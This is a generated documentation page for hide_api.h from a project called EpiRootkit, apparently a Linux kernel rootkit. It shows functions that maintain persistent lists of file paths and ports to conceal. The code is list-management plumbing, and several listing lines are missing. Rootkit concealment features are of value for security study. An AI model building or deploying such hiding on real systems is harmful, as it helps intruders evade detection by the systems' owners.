EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
hide_api.h File Reference
#include <linux/types.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/spinlock.h>
#include <linux/list.h>
#include <linux/errno.h>
Include dependency graph for hide_api.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int hide_init (void)
 
void hide_exit (void)
 
int hide_file (const char *path)
 
int unhide_file (const char *path)
 
int hide_contains_str (const char *u_path)
 
int hide_list_get (char *buf, size_t buf_size)
 
int hide_port_init (void)
 
void hide_port_exit (void)
 
int hide_port (const char *port)
 
int unhide_port (const char *port)
 
int port_contains (const char *port)
 
int port_list_get (char *buf, size_t buf_size)
 

Function Documentation

◆ hide_contains_str()

int hide_contains_str ( const char *  u_path)

Definition at line 66 of file hide_api.c.

66 {
67 return ulist_contains(&hide_list, u_path);
68}
struct ulist hide_list
Definition hide_api.c:6
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258

◆ hide_exit()

void hide_exit ( void  )

Definition at line 20 of file hide_api.c.

20 {
23}
void ulist_clear(struct ulist *ul)
Definition ulist.c:39
int ulist_save(struct ulist *ul)
Definition ulist.c:169

◆ hide_file()

int hide_file ( const char *  path)

Definition at line 25 of file hide_api.c.

25 {
26 int ret;
27 char modpath[256];
28
29 if (strcmp(path, "/") == 0)
30 return -EINVAL;
31
32 if (strlen(path) >= sizeof(modpath))
33 return -ENAMETOOLONG;
34 strscpy(modpath, path, sizeof(modpath));
35
36 size_t len = strlen(modpath);
37 if (len > 1 && modpath[len - 1] == '/') {
38 modpath[len - 1] = '\0';
39 }
40
41 ret = ulist_add(&hide_list, modpath, 0, NULL);
42 if (ret < 0)
43 return ret;
44
45 ret = ulist_save(&hide_list);
46 if (ret < 0)
47 return ret;
48
49 return SUCCESS;
50}
#define SUCCESS
Definition config.h:5
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208

◆ hide_init()

int hide_init ( void  )

Definition at line 9 of file hide_api.c.

9 {
10 int ret;
11
13 ret = ulist_load(&hide_list);
14 if (ret < 0)
15 return ret;
16
17 return SUCCESS;
18}
#define HIDE_CFG_FILE
Definition config.h:61
int ulist_load(struct ulist *ul)
Definition ulist.c:58
static void ulist_init(struct ulist *ul, const char *fname)
Definition ulist.h:21

◆ hide_list_get()

int hide_list_get ( char *  buf,
size_t  buf_size 
)

Definition at line 70 of file hide_api.c.

70 {
71 return ulist_list(&hide_list, buf, buf_size);
72}
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282

◆ hide_port()

int hide_port ( const char *  port)

Definition at line 90 of file hide_api.c.

90 {
91 int ret;
92
93 ret = ulist_add(&hide_port_list, port, 0, NULL);
94 if (ret < 0)
95 return ret;
96
98 if (ret < 0)
99 return ret;
100
101 return SUCCESS;
102}
int port
Definition main.c:7
struct ulist hide_port_list
Definition hide_api.c:7

◆ hide_port_exit()

void hide_port_exit ( void  )

Definition at line 85 of file hide_api.c.

◆ hide_port_init()

int hide_port_init ( void  )

Definition at line 74 of file hide_api.c.

74 {
75 int ret;
76
79 if (ret < 0)
80 return ret;
81
82 return SUCCESS;
83}
#define HIDE_PORT_CFG_FILE
Definition config.h:65

◆ port_contains()

int port_contains ( const char *  port)

Definition at line 118 of file hide_api.c.

118 {
120}

◆ port_list_get()

int port_list_get ( char *  buf,
size_t  buf_size 
)

Definition at line 122 of file hide_api.c.

122 {
123 return ulist_list(&hide_port_list, buf, buf_size);
124}

◆ unhide_file()

int unhide_file ( const char *  path)

Definition at line 52 of file hide_api.c.

52 {
53 int ret;
54
55 ret = ulist_remove(&hide_list, path);
56 if (ret < 0)
57 return ret;
58
59 ret = ulist_save(&hide_list);
60 if (ret < 0)
61 return ret;
62
63 return SUCCESS;
64}
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236

◆ unhide_port()

int unhide_port ( const char *  port)

Definition at line 104 of file hide_api.c.

104 {
105 int ret;
106
108 if (ret < 0)
109 return ret;
110
112 if (ret < 0)
113 return ret;
114
115 return SUCCESS;
116}